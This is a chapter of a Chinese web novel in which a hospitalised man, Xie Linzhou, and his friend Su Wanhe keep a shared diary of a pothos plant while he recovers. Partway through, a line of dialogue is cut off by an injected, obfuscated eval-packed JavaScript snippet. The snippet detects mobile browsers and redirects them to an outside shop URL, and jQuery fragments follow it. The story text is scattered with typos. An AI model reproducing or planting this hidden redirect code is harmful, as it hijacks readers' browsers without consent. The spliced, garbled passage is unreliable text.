第二十七章：医院窗台的绿萝观察日记


    谢临洲在抢救室醒来的那个清晨，看见的第一样东西是窗台上的绿萝。


    小小的一盆，栽在一个白色的塑料花盆里，叶子鲜绿鲜绿的，在晨光中泛着健康的光泽。有几片新叶刚刚舒展开来，嫩得能看见细细的脉络。


    他盯着绿萝看了很久，久到护士进来查房，发现他醒了。


    “你醒了？”护士快步走过来，“感觉怎么样？”


    “还好。”谢临洲的声音沙哑，“我朋友......”


    “她守了你一夜，早上被我们劝回去休息了。”护士量了他的血压和体温，“等会就回来了。”


    护士离开后，谢临洲继续看着那盆绿萝。阳光从窗外照进来，照在叶片上，在病房的白色墙壁上投出晃动的光影。


    门轻轻开了。苏晚禾提着保温盒走进来，看见他醒了，眼睛一亮：“你醒了！”


    “嗯。”谢临洲是，“绿萝是你带来的？”


    “对。”苏晚禾把保温盒放在床头柜上，“从灯塔拿来的。我想着，病房里有点绿色，心情会好些。”


    她打开保温盒，里面是清粥和小菜：“饿了吗？”


    “有点。”


    苏晚禾扶他坐起来，在他背后垫上枕头，然后一勺一勺地喂他喝粥。粥熬得很烂，几乎不用嚼就能咽下去。


    “张阿姨熬的。”她说，“她说你现在只能吃流食。”


    谢临洲熳熳喝着。每喝几口就停一下，喘口气。一碗粥喝了二十分钟。


    喝完粥，苏晚禾给她擦了擦嘴，然后从包里拿出一个小本子：“看这个。”


    那是她前几天在文具店买的素描本，封面上印着一片绿叶。她翻开第一夜，上面写着：


    “绿萝观察日记，献给谢临洲。”


    下面是一行小字：“希望它能陪你度过在医院的日子。”


    谢临洲接过本子，一页一页翻开。苏晚禾的字迹不算好看，但写得很认真：


    “第一天：绿萝搬到病房。它好像有点不适应新环境，叶子耷拉着。但没关系，我每天都会给你浇水，陪它说话。”


    配了一副简笔画：一盆绿萝，耷拉着叶子。


    “第二天：绿萝精神点了。有一片新叶子冒出来了，嫩绿嫩绿的。今天阳光很好，我把它搬到窗台晒太阳。谢临洲还在睡，但我跟他说了话，告诉他绿萝的情况。我觉得他听见了。”


    配图：绿萝在阳光下，一片新叶。


    “第三天：绿萝又长了一片新叶。原来的叶子也更绿了。护士说它长得很好，比比病房里其他植物都精神。谢临洲今天手指动了一下，医生说这是个好兆头。”


    配图：两片新叶。


    谢临洲翻到最新一页。那是今天早上写的：


    “第四天：谢临洲醒了。绿萝好像知道似的，今天特别精神。我把它搬到离床最近的地方，这样以后他一睁眼就能看见。希望绿萝能带给他好心情。”


    配图：绿萝在床头柜上，叶子舒展。


    谢临洲合上本子，看向窗台。那盆绿萝确实很精神，叶子饱满，新叶嫩绿，在晨光中微微晃动。


    “谢谢。”他说。


    “不客气。”苏晚禾笑了，“从现在开始，你也要写。”


    “写什么？”


    “写绿萝的观察日记啊。”苏晚禾说，“我写前四天，你写后面的。我们轮流，直到他出院。”


    她从包里有拿出一支笔，递给谢临洲：“就从今天开始。”


    谢临洲接过笔，翻开新的一页。他想了想，写到：


    “第四天（下午）：我醒了。绿萝在窗台上，阳光很好。苏晚禾说我睡了四天，但我感觉只睡了一会。绿萝确实很精神，像在欢迎我醒来。”


    他画了简笔画：病床上的自己，看着窗台的绿萝。


    “这样行吗？”他问。


    “行。”苏晚禾点头，“以后每天都要写。”


    从那天起，绿萝观察日记成了谢临洲住院生活的一部分。每天早上，苏晚禾来的时候，会把本子递给他。他会花十几分钟，写下前一天绿萝的变化：


    “第五天：绿萝又长了一片新叶。旧的叶子颜色更深了，说健康的深绿色。苏晚禾说绿萝好养，只要浇水和阳光就能活。我想，我也该像它一样。”


    “第六天：今天阴天，绿萝有点没精神。苏晚禾把它搬到窗台最亮的地方，说等太阳出来就好了。下午果然出了太阳，绿萝的叶子有舒展开了。”


    “第七天：护士说绿萝长得太快了，该换盆了。苏晚禾买了个大一点的盆，我们一起给它换了土。换盆的时候发现，它的根已经长满了旧盆。原来它在看不见的地方，一直在努力生长。”


    谢临洲的身体恢复得很慢。止痛药让他大部分时间都昏昏沉沉的，但每天写日记的那十几分钟，是他最清醒的时候。


    有时候他写得简单，就一两句话。有时候状态好，会多写几句。


    “第八天：今天疼得厉害，但看着绿萝，好像能分散注意力。苏晚禾说，疼的时候就看看绿萝，想想它在努力生长。我试了，好像有点用。”


    “第九天：绿萝的藤蔓开始往下垂了。苏晚禾说等再长一点，可以把它挂起来，让藤蔓垂下来，像绿色的瀑布。我想象那个画面，应该很美。”


    “第十天：又一片新叶。绿萝好像不知道累，一直在长。苏晚禾今天跟我讲她训练的事，说她以前训练累了，就看看泳池边上的绿植，想着植物也在努力生长，她也要努力。我觉得她和绿萝有点像。”


    日记本渐渐厚起来。除了文字，还有两人画的简笔画：谢临洲画绿萝，苏晚禾画窗外的飞鸟，偶尔还有她自己画的鬼脸表情包。


    绿萝也确实在生长。从最初的小小一盆，长出了长长的藤蔓。苏晚禾找护士要了根绳子，把花盆挂在窗边。藤蔓垂下来，随风轻轻摆动，真的像绿色的瀑布。


    “它长得真好。”一天下午，谢临洲看着绿萝是。


    “你也是。”苏晚禾正在削苹果，“你也在好


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16948384|192799||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    起来。”


    谢临洲没说话。他知道自己在好转，但离“好起来”还差很远。疼痛仍然时时造访，体力依然虚弱，每一次呼吸都像在提醒他，这具身体已经千疮百孔。


    但他没说这些。他只是看着绿萝，看着它在阳光下舒展的叶子，看着它不断冒出的新芽。


    “苏晚禾。”他突然说。


    “嗯？”


    “等我出院了，这盆绿萝能带回灯塔吗？”


    苏晚禾削苹果的手停住了。她抬起头，看着写临洲：“你想把它带到灯塔？”


    “嗯。”谢临走是，“放在塔顶，和我们一起看星星。”


    苏晚禾的眼睛亮了起来：“好主意！那我们得买个大点的花盆，塔顶风大，小盆容易到。”


    “还有做个架子，把它固定住。”


    “对！我想想......可以用旧木板做，刷成白色，和灯塔的墙一个颜色。”


    他们你一言我一语地讨论起来，像在计划什么重要的大事。谢临洲的眼睛里有光，苏晚禾的声音里有笑。病房里沉闷的空气好像被搅动了，变得鲜活起来。


    讨论到一半，护士进来送药。看见他们兴奋的样子，好奇地问：“聊什么呢这么开心？”


    “我们在计划怎么装饰灯塔。”苏晚禾说。


    护士笑了：“真好。有计划就有盼头。”


    是啊，有计划就有盼头。苏晚禾想。


    哪怕这个计划很小，哪怕它可能永远实现不了。


    但有盼头，日子就不难熬。


    那天晚上，苏晚禾离开医院前，在日记本上新写了一页。不是关于绿萝，而是关于谢临洲：


    “第十一天：今天谢临洲说了很多话。他计划把绿萝带到灯塔，计划做架子，计划怎么装饰。他说话的时候眼睛很亮，像以前在灯塔看星星的时候。我想，也许绿萝真的能带来好运。也许他真的能好起来。”


    她合上本子，放在谢临洲的床头。


    窗外的夜色很深，但病房的灯很暖。


    绿萝在窗边轻轻摆动，藤蔓垂下来，像在守护着什么。


    第二天早上，谢临洲醒来时，看见那页日记。他拿起笔，在下面写：


    “绿萝在长，我也在努力。虽然慢，但没停。这就够了。”


    他放下笔，看向窗台。


    阳光正好，绿萝的叶子上挂着细小的水珠，闪闪发光。


    像希望。


    很小，但很亮。


    他闭上眼睛，深深地吸了一口气。


    空气中是消毒水的味道，药的味道，还有......绿萝的清香。


    淡淡的，但很清晰。


    像在说：我在长，你也要加油。


    他轻轻点了点头。


    像是在回应。


    又像是承诺。


    窗外，新的一天开始了。


    绿萝在阳光下舒展。


    而他们，在希望中前行。


    一步，又一不。


    很慢，但很坚定。